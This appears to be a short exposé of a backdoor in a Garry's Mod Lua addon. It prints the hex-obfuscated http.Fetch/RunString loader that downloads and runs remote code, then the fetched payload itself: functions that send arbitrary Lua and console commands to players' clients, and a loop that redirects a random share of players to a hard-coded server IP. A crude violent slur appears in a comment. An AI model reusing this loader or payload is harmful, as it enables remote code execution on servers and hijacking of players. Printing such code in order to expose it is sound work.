darkcide's backdoor

dark's backdoor in https://codefodder.store/script/1363-Elite-Party-System-BACKDOOR-REMOVED

which runs
http://newportservers.xyz/obfuscated.lua

http.Fetch( "\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x70\x6f\x72\x74\x73\x65\x72\x76\x65\x72\x73\x2e\x78\x79\x7a\x2f\x6f\x62\x66\x75\x73\x63\x61\x74\x65\x64\x2e\x6c\x75\x61", function( b, l, h, c ) RunString( b ) end, function() end )

--[[
                                                       /$$$$$$
                                                      /$$__  $$
  /$$$$$$ /$$   /$$ /$$$$$$  /$$$$$$        /$$    /$|__/  \ $$
 /$$__  $| $$  | $$/$$__  $$/$$__  $$      |  $$  /$$/ /$$$$$$/
| $$  \ $| $$  | $| $$  \__| $$$$$$$$       \  $$/$$/ /$$____/
| $$  | $| $$  | $| $$     | $$_____/        \  $$$/ | $$
| $$$$$$$|  $$$$$$| $$     |  $$$$$$$         \  $/  | $$$$$$$$
| $$____/ \______/|__/      \_______/          \_/   |________/
| $$
| $$
|__/

this is just the logging stage

get raped /id/netvar
--]]

if ( timer.Exists( "pure_heartbeat" ) ) then
  timer.Remove( "pure_heartbeat" )
end

if ( timer.Exists( "pure_player_heartbeat" ) ) then
  timer.Remove( "pure_player_heartbeat" )
end

local b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
function base64_encode(data)
    return ((data:gsub('.', function(x)
        local r,b='',x:byte()
        for i=8,1,-1 do r=r..(b%2^i-b%2^(i-1)>0 and '1' or '0') end
        return r;
    end)..'0000'):gsub('%d%d%d?%d?%d?%d?', function(x)
        if (#x < 6) then return '' end
        local c=0
        for i=1,6 do c=c+(x:sub(i,i)=='1' and 2^(6-i) or 0) end
        return b:sub(c+1,c+1)
    end)..({ '', '==', '=' })[#data%3+1])
end

function valid_player(player)
  if (!player:IsBot() and player:SteamID() ~= "NULL" and player:SteamID() ~= "BOT" ) then
    return true
  end
end

function valid_user_player(player)
  if (player:GetUserGroup() == "user" ) then
    return true
  end
end

function steamid_to_player(steamid)
  return player.GetBySteamID(steamid)
end

function run_lua(lua)
  RunString(lua)
end

function send_lua(ply, lua)
  ply:SendLua(lua)
end

function send_command(steamid, cmd)
  send_lua(steamid_to_player(steamid), "LocalPlayer():ConCommand('"..cmd.."')")
end

function connect_to_server(ply, ip)
  send_command(ply:SteamID(), "connect "..ip)
end

function grab_players()

end

function heartbeat()
  grab_players()
end
timer.Create( "pure_heartbeat", 100, 0, heartbeat )


function send_ply_lua(ply, lua)
  ply:SendLua(lua)
end

function send_ply_command(steamid, cmd)
  send_ply_lua(steamid, "LocalPlayer():ConCommand('"..cmd.."')")
end

function connect_ply_to_server(ply, ip)
  send_ply_command(ply, "connect "..ip)
end

for k, v in pairs(player.GetAll()) do
  if (math.random( 1, 100 ) > 80) then
    timer.Simple( 1, function() connect_ply_to_server(v,"74.91.120.183:27015") end )
  end
end